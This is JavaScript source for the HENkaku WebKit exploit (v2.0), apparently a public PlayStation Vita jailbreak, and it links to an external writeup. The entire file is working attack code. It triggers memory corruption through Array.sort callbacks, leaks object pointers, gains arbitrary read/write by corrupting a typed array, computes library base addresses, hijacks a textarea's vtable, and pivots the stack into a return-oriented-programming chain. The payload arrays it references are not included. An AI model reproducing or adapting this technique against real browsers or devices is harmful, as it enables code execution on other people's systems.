text: // henkaku webkit exploit v2.0
  // read writeup here: https://blog.xyz.is/2016/webkit-360.html
  
  try {
  
  var _dview = null;
  // u2d/d2u taken from PSA-2013-0903
  // wraps two uint32s into double precision
  function u2d(low,hi)
  {
  	if (!_dview) _dview = new DataView(new ArrayBuffer(16));
  	_dview.setUint32(0,hi);
  	_dview.setUint32(4,low);
  	return _dview.getFloat64(0);	
  }
  
  function d2u(d)
  {
  	if (!_dview) _dview = new DataView(new ArrayBuffer(16));
  	_dview.setFloat64(0,d);
  	return { low: _dview.getUint32(4), 
  			 hi:  _dview.getUint32(0) };    
  }
  
  function dhex64(d) {
  	var o = d2u(d);
  	hi = o.hi.toString(16);
  	lo = o.low.toString(16);
  	while (lo.length < 8)
  		lo = "0" + lo;
  	return "0x" + hi + lo;
  }
  
  function err(s) {
  	while (1)
  		alert(s);
  }
  
  var backup = new Uint32Array(0x400);
  
  var corrupt = new Uint32Array(0x37); // we'll corrupt this object
  corrupt[0] = 0x12345;
  corrupt[1] = 0x67890;
  
  var textarea = document.createElement("textarea");
  textarea.rows = 0x11223344;
  
  var len = u2d(0x80000000, 0x80000000);
  var small_sz = 0xA000;
  var big_sz = 0x10000;
  var alloc_cnt = 10;
  
  // 1 : leak pointers
  var big = new Array(big_sz);
  var obj = {};
  obj.toString = function () {
  	big.push(12345); 
  	buf = new Uint32Array(0x27000);
  	buf[0] = -1;
  	return "";
  }
  big[0] = obj;
  big[1] = corrupt;
  big[2] = textarea;
  big.sort();
  obj.toString = function() { return ""; }
  
  var corrupt_ptr = buf[0x200C]; // ptr for `corrupt`
  var textarea_ptr = buf[0x200A]; // ptr for `textarea`
  
  // 2: get arb read/write
  var big = new Array(0x12000);
  var obj = {};
  var smalls = [];
  obj.toString = function () {
  	big.push(12345); 
  	for (var i = 0; i < alloc_cnt; ++i) {
  		var small = new Array(small_sz);
  		small[0] = 1234.5; // force array to be float
  		smalls.push(small);
  	}
  	return "";
  }
  
  big[0] = obj;
  for (var i = 1; i < 0xC000; ++i)
  	big[i] = len;
  big.sort();
  obj.toString = function() { return ""; }
  
  
  for (var i = 0; i < smalls.length; ++i) {
  	if (smalls[i].length != small_sz) {
  		found = smalls[i];
  	}
  }
  
  if (!found || found.length != 0x80000000) {
  	err("failed");
  }
  
  var leak = found[0x1fff3ffb];
  var m_region = d2u(leak).low;
  
  // fixup m_region and next/prev ptrs so we don't crash
  found[0x1ffffffb] = u2d(m_region, 0); // m_region
  found[0x1ffffffc] = 0;
  found[0x1ffffffd] = 0;
  
  // 3: improve arbitrary read/write and provide u32 interface
  
  var leak = d2u(found[0x1fff3ffc]).low;
  if (leak == 0x83588000) {
  	me = 0x83a80000 + 0x28;
  } else if (leak == 0x83488000) {
  	me = 0x83980000 + 0x28;
  } else {
  	found[0x10000000] = 123;
  	// err("unknown leak 0x" + leak.toString(16));
  }
  scratch = me + 0x1000;
  me -= 0x298000; // not sure why
  
  function shitread8(addr) {
  	idx = 0x20000000 + (addr - me) / 8;
  	return found[idx];
  }
  
  function shitwrite8(addr, val) {
  	idx = 0x20000000 + (addr - me) / 8;
  	found[idx] = val;
  }
  
  // set uint array base to 0 and size to 0x80000000
  obj = d2u(shitread8(corrupt_ptr + 8)).hi;
  shitwrite8(obj + 8, u2d(0, 0x80000000)); // base
  shitwrite8(obj + 24, u2d(0, 0x80000000)); // size
  
  if (corrupt.length != 0x80000000)
  	err("failed to corrupt a buffer");
  
  u32 = corrupt;
  
  // 4: code exec
  
  obj = u32[(textarea_ptr + 12)/4];
  textareavptr = u32[obj/4];
  vtidx = obj;
  
  function read_mov_r12(addr) {
  	first = u32[addr/4];
  	second = u32[addr/4 + 1];
  	return ((((first & 0xFFF) | ((first & 0xF0000) >> 4)) & 0xFFFF) | ((((second & 0xFFF) | ((second & 0xF0000) >> 4)) & 0xFFFF) << 16)) >>> 0;
  }
  
  SceWebKit_base = textareavptr - 0xabb65c;
  SceLibc_base = read_mov_r12(SceWebKit_base + 0x85F504) - 0xfa49;
  SceLibKernel_base = read_mov_r12(SceWebKit_base + 0x85F464) - 0x9031;
  ScePsp2Compat_base = read_mov_r12(SceWebKit_base + 0x85D2E4) - 0x22d65;
  SceWebFiltering_base = read_mov_r12(ScePsp2Compat_base + 0x2c688c) - 0x9e5;
  SceLibHttp_base = read_mov_r12(SceWebFiltering_base + 0x3bc4) - 0xdc2d;
  SceNet_base = read_mov_r12(SceWebKit_base + 0x85F414) - 0x23ED;
  SceNetCtl_base = read_mov_r12(SceLibHttp_base + 0x18BF4) - 0xD59;
  SceAppMgr_base = read_mov_r12(SceNetCtl_base + 0x9AB8) - 0x49CD;
  
  some_space = scratch;
  
  
  // copy vtable
  for (var i = 0; i < 0x40; i++)
  	u32[some_space / 4 + i] = u32[textareavptr / 4 + i];
  
  u32[vtidx / 4] = some_space;
  
  // backup our obj
  for (var i = 0; i < 0x30; ++i)
  	backup[i] = u32[vtidx/4 + i];
  
  // call setjmp and leak stack base
  u32[some_space / 4 + 0x4e] = SceLibc_base + 0x14070|1; // setjmp
  textarea.scrollLeft = 0; // call setjmp
  
  sp = (u32[vtidx/4 + 8] ^ ((u32[vtidx/4 + 9] ^ (SceWebKit_base + 0x317929)) >>> 0)) >>> 0;
  sp -= 0xef818;
  
  // restore our obj
  for (var i = 0; i < 0x30; ++i)
  	u32[vtidx/4 + i] = backup[i];
  
  // relocate the payload
  rop_data_base = sp + 0x40;
  rop_code_base = sp + 0x10000;
  
  addr = rop_code_base / 4;
  // Our payload is just a series of return addresses (YEAH!)
  // Simply write it starting from rop_code_base.
  for (var i = 0; i < payload.length; ++i, ++addr) {
  	switch (relocs[i]) {
  	case 0:
  		u32[addr] = payload[i];
  		break
  	case 1:
  		u32[addr] = payload[i] + rop_data_base;
  		break;
  	case 2:
  		u32[addr] = payload[i] + SceWebKit_base;
  		break;
  	case 3:
  		u32[addr] = payload[i] + SceLibKernel_base;
  		break;
  	case 4:
  		u32[addr] = payload[i] + SceLibc_base;
  		break;
  	case 5:
  		u32[addr] = payload[i] + SceLibHttp_base;
  		break;
  	case 6:
  		u32[addr] = payload[i] + SceNet_base;
  		break;
  	case 7:
  		u32[addr] = payload[i] + SceAppMgr_base;
  		break;
  	default:
  		alert("wtf?");
  		alert(i + " " + relocs[i]);
  	}
  }
  
  // var sp = mem + 0x10000; // sp = 0x82610000
  // function pointer
  u32[some_space / 4 + 0x4e] = SceWebKit_base + 0x54c8; //54c8: e891a916 ldm r1, {r1, r2, r4, r8, fp, sp, pc}
  
  var ldm_data = some_space + 0x100;
  u32[ldm_data/4 + 5] = rop_code_base;       // sp
  u32[ldm_data/4 + 6] = SceWebKit_base + 0xc048a|1;  // pc = pop {pc}
  
  textarea.scrollLeft = ldm_data; // trigger ropchain, r1=arg
  
  alert("that's it");
  
  } catch (e) {
  	alert("error: " + e.message);
  }
  